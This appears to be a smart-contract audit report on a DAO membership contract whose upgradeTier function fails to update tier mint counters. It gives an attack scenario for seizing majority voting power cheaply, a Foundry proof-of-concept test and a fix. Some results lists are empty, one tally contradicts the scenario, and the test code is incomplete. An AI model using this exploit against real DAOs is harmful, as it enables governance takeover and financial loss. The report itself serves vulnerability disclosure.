Summary
The upgradeTier function does not update the amount of tokens minted in a tier. This will result in incorrect state variables that leads to minting more than the intended amount in a tier or users not being able to mint into a tier even if that tier is not full.
Vulnerability Details
The upgradeTier function allows users to burn 2 tokens from a lower tier (higher index) to mint 1 token of a one higher tier.
function upgradeTier(address daoMembershipAddress, uint256 fromTierIndex) external {
require(daos[daoMembershipAddress].daoType == DAOType.SPONSORED, "Upgrade not allowed.");
require(daos[daoMembershipAddress].noOfTiers >= fromTierIndex + 1, "No higher tier available.");
IMembershipERC1155(daoMembershipAddress).burn(_msgSender(), fromTierIndex, 2);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), fromTierIndex - 1, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, fromTierIndex - 1);
}
When the joinDAO function is also observed, we can notice that state variable updates are missing in the upgradeTier function.
function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted, "Tier full.");
uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
uint256 platformFees = (20 * tierPrice) / 100;
++ daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), daoMembershipAddress, tierPrice - platformFees);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, tierIndex);
}
Lack of the state variable update means that when users upgrade tiers, new tier will not correctly keep track of amount of tokens minted and lower tier will incorrectly show that there are 2 tokens that are still minted even if they are burned.
For example, when Tier 3 and Tier 2 are full with 32/32 and 16/16 tokens minted. Any user with 2 tokens in Tier 3 can call upgradeTier and mint 1 token for Tier 2 even when it is full. This will lead to the scenario where Tier 2 has 17/16 tokens and breaking the limit while Tier 3 has 30/32 tokens yet the contract still thinks this tier is full and will not allow users to join this tier with joinDAO even when there is empty slots.
A potential attack scenario is as follows when there are for example 3 Tiers:
1) User mints 32 tokens to the Tier 3 to fill this tier.
2) User then calls the upgradeTier function for their tokens burning 32 Tier 3 tokens and minting 16 Tier 2 tokens.
3) User then calls the upgradeTier function again, burning 16 Tier 2 tokens and minting 8 Tier 1 tokens.
End result for tiers in the contract are as follows:
Real results of the tiers are as follows:
Due to the state variable not updating for the amount of tokens minted in a tier, contract reads completely incorrect data which will result in no users being able to join Tiers 2 and 3 while the contract reads there are 8 empty slots for Tier 1 and other users can only join to Tier 1. This same malicious user can now call the joinDAO function to mint one more Tier 1 token increasing their Tier 1 token amount to 9. Malicious user has now succesfully acquired the majority of voting power for this DAO since even if other users join this DAO on Tier 1, there are now 7 slots available. The last scenario here would be
Real results of the tiers are as follows:
Tier 3 = 0/32 tokens minted (No more minting allowed)
Tier 2 = 0/16 tokens minted (No more minting allowed)
Tier 1 = 16/8 tokens minted (No more minting allowed and malicious user has 9 Tier 1 tokens.)
Here, we can see that not only the invariant for maximum amount of tokens for Tier 1 is broken, Tier 2 and Tier 3 can not be joined even with empty slots available and the malicious user has acquired over 50% of the voting power creating a monopoly and effectively controlling any decision of this DAO.
If we assume the Tier prices as:
Tier 1 = 1000 USDC
Tier 2 = 500 USDC
Tier 3 = 250 USDC
Normally, in order for a user to reach over 50% voting power, they would need to spend at minimum (4 * 1000) + (8 * 500) + (17 * 250) = 12250 USDC but with this vulnerability they have only spent (32 * 250) + (1 * 1000) = 9000 USDC meaning they achieved a monopoly while paying around 27% less. Keep in mind this attack can be optimized to spend even less to achieve a monopoly for this DAO.
Proof Of Concept
Following test shows that minted amount does not change after upgradeTier call.
1) Implement new getter functions in MembershipFactory.sol to make tests easier.
function getAddressFromENS(string memory ensName) public view returns (address) {
return getENSAddress[ensName];
}
function getDAODataFromAddressFromENS(string memory ensName, uint256 tier) public view returns (uint256, uint256) {
address daoAddress = getENSAddress[ensName];
DAOConfig storage dao = daos[daoAddress];
return (dao.tiers[tier].minted, dao.tiers[tier].amount);
}
2) Implement a mock WETH contract for testing inside the test folder.
pragma solidity 0.8.22;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockWETH is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
3) Implement the following foundry test and run it to observe the vulnerability
pragma solidity 0.8.22;
import { Test, console } from "forge-std/Test.sol";
import { MembershipFactory } from "../contracts/dao/MembershipFactory.sol";
import { CurrencyManager } from "../contracts/dao/CurrencyManager.sol";
import { MembershipERC1155 } from "../contracts/dao/tokens/MembershipERC1155.sol";
import { OWPIdentity } from "../contracts/OWPIdentity.sol";
import "../contracts/dao/libraries/MembershipDAOStructs.sol";
import { MockWETH } from "./MockWETH.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TestOneWorld is Test {
address OWPTeam = makeAddr("1WPTeam");
address OWPWallet = makeAddr("OWPWallet");
address DAOCreator = makeAddr("DAOCreator");
address DAOMember = makeAddr("DAOMember");
address DAOMember2 = makeAddr("DAOMember2");
address DAOMember3 = makeAddr("DAOMember3");
address WETHDeployer = makeAddr("WETHDeployer");
CurrencyManager currencyManager;
MembershipERC1155 membershipERC1155;
MembershipFactory membershipFactory;
MockWETH weth;
address daoSponsoredProxy;
function setUp() public {
vm.prank(WETHDeployer);
weth = new MockWETH("Wrapped ETHER", "WETH");
vm.startPrank(OWPTeam);
currencyManager = new CurrencyManager();
membershipERC1155 = new MembershipERC1155();
membershipFactory = new MembershipFactory(
address(currencyManager),
OWPWallet,
"https://images.com/{id}",
address(membershipERC1155)
);
currencyManager.addCurrency(address(weth));
vm.stopPrank();
weth.mint(DAOMember, 1000e18);
weth.mint(DAOMember2, 1000e18);
weth.mint(DAOMember3, 1000e18);
}
function testUpgradeTierDoesNotUpdateMintedAmount() public {
TierConfig[] memory tiersInput = new TierConfig[]();
tiersInput[0] = TierConfig({ amount: 1, price: 64, power: 64, minted: 0 });
tiersInput[1] = TierConfig({ amount: 2, price: 32, power: 32, minted: 0 });
tiersInput[2] = TierConfig({ amount: 4, price: 16, power: 16, minted: 0 });
tiersInput[3] = TierConfig({ amount: 8, price: 8, power: 8, minted: 0 });
tiersInput[4] = TierConfig({ amount: 16, price: 4, power: 4, minted: 0 });
tiersInput[5] = TierConfig({ amount: 32, price: 2, power: 2, minted: 0 });
tiersInput[6] = TierConfig({ amount: 64, price: 1, power: 1, minted: 0 });
DAOInputConfig memory daoSponsoredInputConfig = DAOInputConfig({
ensname: "firstDaoSponsored",
daoType: DAOType.SPONSORED,
currency: address(weth),
maxMembers: 300,
noOfTiers: 7
});
vm.prank(DAOCreator);
daoSponsoredProxy = membershipFactory.createNewDAOMembership(
daoSponsoredInputConfig,
tiersInput
);
address DAOAddress = membershipFactory.getAddressFromENS("firstDaoSponsored");
vm.startPrank(DAOMember);
IERC20(weth).approve(address(membershipFactory), 1000e18);
membershipFactory.joinDAO(DAOAddress, 2);
membershipFactory.joinDAO(DAOAddress, 2);
membershipFactory.joinDAO(DAOAddress, 2);
membershipFactory.joinDAO(DAOAddress, 2);
(uint256 mintedAmount, uint256 allowedAmount) = membershipFactory.getDAODataFromAddressFromENS("firstDaoSponsored", 2);
assertEq(mintedAmount, allowedAmount);
vm.stopPrank();
vm.prank(DAOMember);
membershipFactory.upgradeTier(DAOAddress, 2);
vm.startPrank(DAOMember3);
IERC20(weth).approve(address(membershipFactory), 1000e18);
vm.expectRevert("Tier full.");
membershipFactory.joinDAO(DAOAddress, 2);
}
}
Impact
The amount of tokens minted for a tier is kept incorrectly in the system.
This will cause issues such as:
Tiers will have more tokens than the max amount allowed as the amount of tokens minted are not updated
Contract will think a tier is filled even if tokens are burned from that tier via upgradeTier, blocking users from joining this tiers that actually have empty slots
Impact: High
Likelihood: High
Tools Used
Manual review
Recommendations
Correctly update the state variables when upgradeTier function is called. An example is shown below.
function upgradeTier(address daoMembershipAddress, uint256 fromTierIndex) external {
require(daos[daoMembershipAddress].daoType == DAOType.SPONSORED, "Upgrade not allowed.");
require(daos[daoMembershipAddress].noOfTiers >= fromTierIndex + 1, "No higher tier available.");
++ daos[daoMembershipAddress].tiers[fromTierIndex - 1].minted += 1
++ daos[daoMembershipAddress].tiers[fromTierIndex].minted -= 2
IMembershipERC1155(daoMembershipAddress).burn(_msgSender(), fromTierIndex, 2);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), fromTierIndex - 1, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, fromTierIndex - 1);
}
